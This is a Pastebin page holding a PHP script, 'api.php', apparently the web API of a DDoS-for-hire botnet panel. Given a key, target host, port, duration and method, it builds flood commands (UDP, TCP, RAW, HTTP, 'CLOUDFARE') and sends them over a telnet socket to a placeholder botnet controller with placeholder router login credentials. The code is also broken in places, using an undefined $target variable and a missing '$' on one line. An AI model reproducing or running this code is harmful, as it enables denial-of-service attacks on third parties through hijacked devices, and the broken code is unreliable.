Advertisement
Guest User

api.php

a guest
Apr 24th, 2019
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. <?php
  2. $APIKeys = array("");
  3. $attackMethods = array("UDP", "HTTP", "STD", "RAW");
  4. function htmlsc($string)
  5. {
  6. return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
  7. }
  8. if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
  9. die("<p>You are missing a parameter");
  10. $key = htmlsc($_GET["key"]);
  11. $host = htmlsc($_GET["host"]);
  12. $port = htmlsc($_GET["port"]);
  13. $method = htmlsc(strtoupper($_GET["method"]));
  14. $time = htmlsc($_GET["time"]);
  15. $command = "";
  16. if (!in_array($key, $APIKeys)) die("Invalid API key");
  17. if (!in_array($method, $attackMethods)) die("Invalid attack method");
  18. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}
  19. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}
  20. if($method == "RAW"){$command = "!* RAW $target $port $time";}
  21. if($method == "STDHEX"){$command = "!* STDHEX $target $port $time";}
  22. if($method == "HTTP"){$command = "!* HTTP $target $time";}
  23. if($method == "CLOUDFARE"){command = "!* CLOUDFARE GET $target $port $time";}
  24. if($method == "STOP"){$command = "!* STOP";}
  25. $socket = fsockopen("IPBITCH", PORTBITCH); //THIS IS YOUR BOTNET IP AND PORT
  26. ($socket ? null : die("<p>Failed to connect"));
  27. fwrite($socket, "LOGINBITCH\n"); //LOGIN FOR YOUR ROOTER ROUTER TELNET LOGIN
  28. fwrite($socket, "PASSWORDBITCH\n"); //PASSWORD FOR YOUR ROOTER ROUTER TELNET LOGIN
  29. fwrite($socket, $command . "\n");
  30. fclose($socket);
  31. echo "Attack sent to $host:$port for $time seconds using method $method!\n";
  32. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement